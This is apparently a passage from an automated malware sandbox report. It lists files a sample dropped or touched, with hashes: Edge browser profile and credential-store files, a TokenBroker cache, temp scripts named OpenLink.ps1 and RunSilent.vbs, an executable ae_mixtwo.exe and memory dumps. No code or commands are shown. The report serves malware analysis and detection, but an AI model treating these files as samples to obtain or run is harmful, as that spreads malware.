T13271192C05C248E1E763C271DEE1916FB0B182BB74035E59CC976A747206F6DC2A53CD
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe58aae1.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe58aae1.TMP
Size 3KB
SHA256 3bc8f6d464f8e48118caa1d8c14ae737b7a82ff91b3497be7a0d07e7d905975c
MD5 b13a5a41d0a41dff3b57ffb6d92a9c66
SHA1 3929ce62913df891c5175c2b03ada1474445f0ef
SHA512 9ceaf006ca8382ce82c721f03085a34c20449c730cd58253de71da3d923c404c2522f891844fb109bb44d6aeaf25ad39464cf492242672a1a6c6ae11af80e3ad
TLSH
T19371E82C058248E1E763C271DED1A26FB0B182BB74135E58CCA75A747604F6DC2A57DD
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 3KB
SHA256 8b60cdaa2794b91536211bb6d4e9725f9e38c0812e2dcb1ad3c4314ad1e7d584
MD5 4a678e83872515fd82ec9c3c7a715b9b
SHA1 f5dd5fd25e041b47dfecede3e0ff2f0287fe964d
SHA512 7a8f64cd8b482e24680eed56d5d732207fd9c042cb37157c364aadda392a7404ecbc88632a50310802afc8185c1edbc24f3376eaa68372a8d0bf0ec8283f4f23
TLSH
T19661CDF3C6E4862DCD1155F0A7247E2BDF2D0914432C3D5A88E4BF1B93E2471D14265E
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 16KB
SHA256 2dbcbf38955689de96d04022dfc58489f8ae619fd8c13ea406cd00e9458e10e6
MD5 ad9d2812740b48b527e70770931df228
SHA1 0b80db946eb649a36b792c286e60e2fc28d09fba
SHA512 c25f585d6bb985dcf00ad681b7f8805fc438e83277c14b263dcbb40bd0aed5986c90d348b2dd5001363dfe816bd72d22fcd73de2e443771921543778f330ac5f
SSDEEP 192:sxZmRdyMqZjK1Ml8UQPji/fosQOuo43dgIzodpn09HW6+WNV0V/YXf7zZG6Ig52C:sxZmiqLi/fosQt1IEHbG/ulhj
TLSH
T1A072E816AA38997BCCD7D219F9857B53D7F9446391905E44AEFC8E0C04E7AEC221382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 15KB
SHA256 768d66051cc79fb8ef2728229c37ebd7e8cfc7a7648ba0ec53bac75ff5d4c6db
MD5 fed6688e8770a24d2c270e6e870ebf06
SHA1 54bac4ffea422fbadd2b94b507ce79d0ba8d0a57
SHA512 6509c5ffbf5a087579513e2562086c0a368955cdd0d175d73d41868414aff87f3b8e53adb8d8c40c7a70dd65bf2794c9f409fb2e0959007c61ade3b1edef5e9b
SSDEEP 192:sxZmRdyMqZjK1Ml8Mji/fos3Vuo43dgIzodpn09HW6+WNV0V/YXrr7zqG6IgjzJ:sxZmi7i/fos3M1IEHbG/6mljl
TLSH
T1EE72E916AA38997BCCD7D209F9457B53D7F9456391905D48AAFC8E0C04E7AEC321382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 35KB
SHA256 ef1794664678dc3647698fe11c00883b416b9deddf43811e9c0f1d47183c11f7
MD5 6466bc5f2d72cf4c655daee2a54fdd6f
SHA1 1902e255ad30420b5e9e084103c1244341f3b974
SHA512 468b03d78e718262b9a11b96d38b1dfa9c25f10724eb38d62d45813493e6f2890bbe2198a8d936cd9d5afe4de322d3fed68253b5628855c0808d1f1cd3666167
SSDEEP 768:/Zk4Pfe7pLuLnXDWvXt4h8F1+UoAYDCx9Tuqh0VfUC9xbog/OV3eHiLl42vJ4roJ:/Zk4PfeEnXDWvXt4hu1ja2eHiL+QJDW6
TLSH
T15BF2FA3B680CCB7E4F804E9CEC2ABE9A6EE8018F5698C95447FA444C03C76EB51165DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 23KB
SHA256 448b3956696c038da8beeade10740fb1c0a6069a34ba78b829eb93e485f04237
MD5 e7dcba080edb085b0795924b4ae4c9c4
SHA1 2fe1924c55ccd2a723465235a81889db8236bd7f
SHA512 f6ec6c6cc7282f4046cf9fdcb8328f912b7663eecdf90cda50564bdd288a737f8505013cae3ab0dd02b8912041e685c01cbfd1cc96ab8dd673409495844f3df7
SSDEEP 192:EtjGz7Y1/St59NZp1ZVzDqHgnmz3th9AZkzPr1PVIfPU1EDtAIxeSIuK:EJGnYNSv9PpHV/qj+5U
TLSH
T151B21C13313A03423DBE2518A2A686779E4232B3301DE6BF77A944664E67E124DFDDCD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

domain_actions.dll

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Domain Actions\3.0.0.20\domain_actions.dll
Size 82KB
SHA256 e5c9378b540360fb4ab0b16bf40ed18bd99cf4a8a5a6923f4f240d373fb441cb
MD5 aeb538c29f46cf0e19827ce47594488b
SHA1 db32b33a5811c303b1e37e1ab956df20ba44b355
SHA512 38488a42e5c532442a65fd4edab683f1f63eea71bae3ba2f801693647f633af9d836171dc751b342dc2e0e7784266eb9a40f677c0d3c9f651e7374f1af707852
SSDEEP 1536:NocewxXknaFpdgxBf8paY3JQzQik428fKagFVbydki806yav7Sz:NZvx3bgrfrPza428fIe76yaDS
TLSH
T1F783F1C0DA6C0117EE6B4D75D17959CA6BB9D6B50BA0B3EB2372845A0E02FC5EF36700
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 32KB
SHA256 12b61193a25e0668bde20ceecb0121a1dcf0df018d771442647ccc9eb2cace85
MD5 1fb9e22cd3a2e47c39afa586893ca68a
SHA1 a7e0e29a1eed02d0c0caa49601ecedcf3c2e302f
SHA512 55fc3ceaba6159d4ccdc2288b2784f0f2211ed45edaadd7d10ffba61c326259bfaaf2655d7a92bad67d62d0578c875b2901fdf32220acc80e925e10d577473cc
SSDEEP 384:nsiFiZcIM3sNS8TUNTUlI4kLzoNmHPVwBfgVBaWXEQ2nivX+aiHy/7Igf:XFQM3ZwgbtvVMf7niflr
TLSH
T13DE2B2F198D78977E8AE8B87A77D2D029AFCC163B5884984B7D84D0DCC461BFD30A815
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 79b9d45c56ff0d85b96818ab808e98aa7ddcb459f81e8ccb844f25bc19597700
MD5 63c2b3de2399a8415f6b8e25c71285a4
SHA1 bdb49a305266df563012899f437fa7026e3dfb3b
SHA512 fd44817e9444c1cc8070ad97c37c5d42d4dd132cd636569fd14c3ce120d680a845145ba7dff09eb9ef25b7af6b207eeeaf521fb18a7439c6a924da1e5fd676a9
SSDEEP 384:nxiFiZcIs3sNS8TUNTUlI4kLzoNmHkVwBfgVBaWXEQcQZnivX+aiHy/7Igf:YFQs3ZwgbOvVMftQZniflr
TLSH
T194C25C71DC64CD7BBCEA8B89B7893A47EEE05163C5CC5AC8E5D85E1D008719D170BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 24KB
SHA256 2a98d61872f369f804605d7e82f54fde9da75ca30e4a1ddb0da20b46a2336240
MD5 be787482224fab383611d326dd5d81ee
SHA1 810c5391ed8e745cd28fd274bef79a4cfe11d774
SHA512 003958daa52cd6c1d8b8ebca4bbf7ee34b0c3fae8f3a45f33c7719de3ab5047e217f655ef9ff8cd5e79dffce5acaa908cceadff48486e561a0740074161cdf36
SSDEEP 384:nm1iF9CcmyWCs3sNU8TUNTUlImkrzoNmfGvwBfgVBaWXjQ1tyLhkP+lFYS/p1l90:m8Fccps3fwglsNVMyQ1yhkoFYS/Frq
TLSH
T1D5B24B35EC94CEBBECE64F8AAB4A7A47DEE011A3C59C49D8DAD81D1D009B19D1307C26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 27KB
SHA256 0cb2a6bf32bb854ae666535c20b7b182e79d85a16dbaab081973038277fa6320
MD5 6a0e8a1e338dbae0b8061f430e3f774e
SHA1 a6e7c97ef89dabc475c03aeca2fbe22aa0b19cc5
SHA512 05ab6a6fcc68f71c5d2f0d4fe37c17d55a9bd3e92c29bdd241610a91dd36e06bdd76ba827d1e2971cd707a187bec4ea6efd05dddfdbf2f244479524572b6b3cd
SSDEEP 384:nciFiZcIs3sNS8TUNTUlI4kLzoNmzkVwBfgVBaWXEQcQ5nivX+aiHy/7Igf:HFQs3Zwgb2vVMftQ5niflr
TLSH
T1DCC25C71DC64CD7BBCEA8B89BB8A3A47EEE05163C5CC5AC8E5D85E1D008719D170BC26
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 25KB
SHA256 0e81551c4f5b6e37d87fdc10c1ef1d51a89415b10b31cf5636f546c9b48b74f1
MD5 3175a2f098891aeb3666f1dcc367aa38
SHA1 075f26c4a6f2cc9289290b3d1ef244a76e64db47
SHA512 432cb2180a7667edd13e2b2cd63be237ae804a7c37422e99981b8e213472343c8dd0c9538d94b749eaa190d1f7f6fb3a4659d79042b9c1f2a27f1b228f08f2b3
SSDEEP 384:n/iF9CcmyWCs3sN+8TUNTUlImkrzoNm8BWwBfgVBaWXEQcQ6nhkP+lFYS/p1l9HU:KFccps3pwglA2VMftQ6nhkoFYS/Frq
TLSH
T10AC25C31EC94CE7BECE64B99BB8A3A47DEE051B3C58C8AD4DAD81D0D009B19D174BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 49264ff541f3cb66e46a19b1c5d0861f7d6bf97df528f7792aee91ab6d0b6893
MD5 6ec1b46e8a1532066cedf94ee6eb9383
SHA1 60ed446d82b58f4d4db87610f191a596e3fa0797
SHA512 2f6ccb1214da09cd03b1bd091c314de162daae08c4510a2a6edc7240cac01d9cbc7652beb276d401d9a30570eb33f732608f4c8f75bd53ebdb437c8743086f1c
TLSH
T1CE3110D058380ED1C4BC0AAF749738FC85E8D72AB1A4707C5894E9A80B2D54D744583F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 31e695d5fddb353be5c3309ba41ae30a01da41cbbccc60fd9d30842a194c5082
MD5 fde54cd684bdd60135da0c0480d9bad5
SHA1 bd6d4c7dba1838cb9d17f2a90e73cac47c74417a
SHA512 e343952f6f44c488155dfc099a37b93c686ff7dd0e3022bfd30c2f5782ec6f1d2af075c8566ccfb255dbe38f529c9a13f82699a7794d3882873e59a16e2846e5
TLSH
T1B3311ED058380ED1C4BC0AAFB49739FC84E8D73AB1A434786888E8A80B2E64D705183F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 fdf839a21eece6e8eb5ec4440372c02757b3b4c75152e0f6ca07fa8ee2cdaae0
MD5 236d5762563020a038e3d973b56ec12b
SHA1 683d107a0d58c3a08c7d7416a13a9e4b1cccb956
SHA512 aff0fd5eaa6bf394ec97f755b53590ee818b8c814249746cc671d5d81092ce518939075750340e50cb05b3eb736f27aa065e27788d3f13bf2fec325aff1d9f30
TLSH
T1F73122D058380AD5C5BC0EAFB49739FC85E8E736B0A4307868C8E9A80B2E50D745183F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 166450838019a5c0e83ab1a6f5b09bc5f9aec87b27270f7a8b17762c7900ed61
MD5 5b96e19740b998213f449ca80e655279
SHA1 b0df5bf38dbb7f698532db6495cfc57de06045e6
SHA512 826c287c983f24e082fb586ace61c024530c79fa27a048a7ec9010380d5805903e7d6eb6f08a8bc9f0112632c41293ac5c97aff5f2a931e032d432b3d8e3f50e
TLSH
T1583122D058380AE1C5BC0EBFB4D739FC45E8D636B1A4347868C8E8684B2E50D745183F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 1KB
SHA256 e6090c16ac95b779e11e58d909b4a0694d3f170f7dc2d4a07b41bc55184ce92d
MD5 66b10b46d692bfd42358780c62bc4363
SHA1 64624e9f542677bbc36feff86e987d8cfaac3cd5
SHA512 6e3af9423f79da00882f6822f9dbb5fab84690b2491f3158220e5a61e39dbbadbbcf9bfcd3e5d9f9946cfc7786450902ad077310578c06e96b7f67d232c24cbb
TLSH
T13D3122E058381AD5C4BC0EBFB4D339FC84E8E636B5A4307868C8E8684A6E60D705183F
MD5 SHA1 SHA512 TLSH

Submit Download

5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
Size 2KB
SHA256 cdae7ac4da0c7fb2ec4fde4eeb646b5a7e0e87a85c3cead61aad8fd5efc9bd6c
MD5 ec1d38f48e79e4b62c96dd26fb0e978b
SHA1 ea356d9f747c8cd094a0083d88353f920c2b0935
SHA512 00e3bc123f665f0a7750f1fe822c998979c99fcab23fa765e03f6f2c96a0280a03ced77bc79664f20187e104857c81907fc166e060eb10c256ab553343b7a1d9
TLSH
T1E4414C58A6FA2108B3B77E169BF6686D847B7D772E0BD59D00010D4F0672A40C872B33
MD5 SHA1 SHA512 TLSH

Submit Download

OpenLink.ps1

Path C:\Users\Admin\AppData\Local\Temp\OpenLink.ps1
Size 208B
SHA256 09ee5443809176dcac8ddd954e2dca7c3ba1d0692fca9394d1f1c78e3d943f42
MD5 9b3d5b2419f4d77a5828171e0b1c4707
SHA1 7e7a6081c35b68da1b736ddd46df618514eecc5b
SHA512 22d48ad71613f63e908e179e24ab2551b29f471157a582aab9941cb8c9aaa0e6b7480898390c4cf1beafe034f1864fa7bccc8f378ed3d0937cdf820d1684ee7a
TLSH
T176D02213882F04736F2000898330327BF9C2626C53878202EC90888D340033E3DF8308
MD5 SHA1 SHA512 TLSH

Submit Download

RunSilent.vbs

Path C:\Users\Admin\AppData\Local\Temp\RunSilent.vbs
Size 580B
SHA256 df325751b971983c74eec2d16afc4ab0bf159418074e75fc6362e2587473369c
MD5 fcb30558a79e52b635bc9a32ed1ea26f
SHA1 7d3de9653198336971acb1ad692e30e78b3cc69a
SHA512 e9aa271b49184388aaf5d972d11d01f7ba087a03f0d59b34820e2a289543f514f4d8098ef7c49fdf95ab5c17c2cfa9ed712a97b3c79e21cec3718a8a5d0e856c
TLSH
T1BBF08B82ED7BC255CD6B8A1E42ABC92CC7FBB3147230D2035E70AC0874096E4C66E586
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_tjzplrqz.gnj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_tjzplrqz.gnj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ae_mixtwo.exe

Path C:\Users\Admin\AppData\Local\Temp\ae_mixtwo.exe
Size 1.2MB
SHA256 45148da9d1283d886118b60d07611d41d346d734a89fb44263ee8696f3bf053b
MD5 17ad22af995ee858a4164452c2f80e4a
SHA1 e09da2824df6f1104b72c2b570be207ef3716f3d
SHA512 058efb3efb1b41c4c1e6db6b9fe9ce907ed24528a512c41f40e0e41555cd61c031c7516e1d8822446edbcd6edab39bc3517d328d139ec269c9c84e86b0eb9eb3
SSDEEP 24576:KSiSdl5VWDWg26xdFo9L0hlxoJc5+Zm7mWMH1VvxamJ/hk:KZSJVWDsMy9QhUK7Exaek
TLSH
T1E84525343AFA502AF1B3EF769AE474D6CA6FB7733B07645D1090038A4A13A41DED153A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/1588-38-0x00000000025C0000-0x00000000025CA000-memory.dmp

Download

memory/1588-123-0x0000000004C30000-0x0000000004C3A000-memory.dmp

Download

memory/1588-37-0x0000000000220000-0x000000000035A000-memory.dmp

Download

memory/1588-86-0x0000000004B30000-0x0000000004B46000-memory.dmp

Download

memory/1588-121-0x0000000004BF0000-0x0000000004BF8000-memory.dmp

Download

memory/2092-124-0x00000000005D0000-0x00000000005FF000-memory.dmp

Download

memory/2092-122-0x00000000005D0000-0x00000000005FF000-memory.dmp

Download

memory/4480-41-0x00000115D8740000-0x00000115D8762000-memory.dmp

Download

memory/4480-50-0x00000115DAAF0000-0x00000115DAD0D000-memory.dmp

Download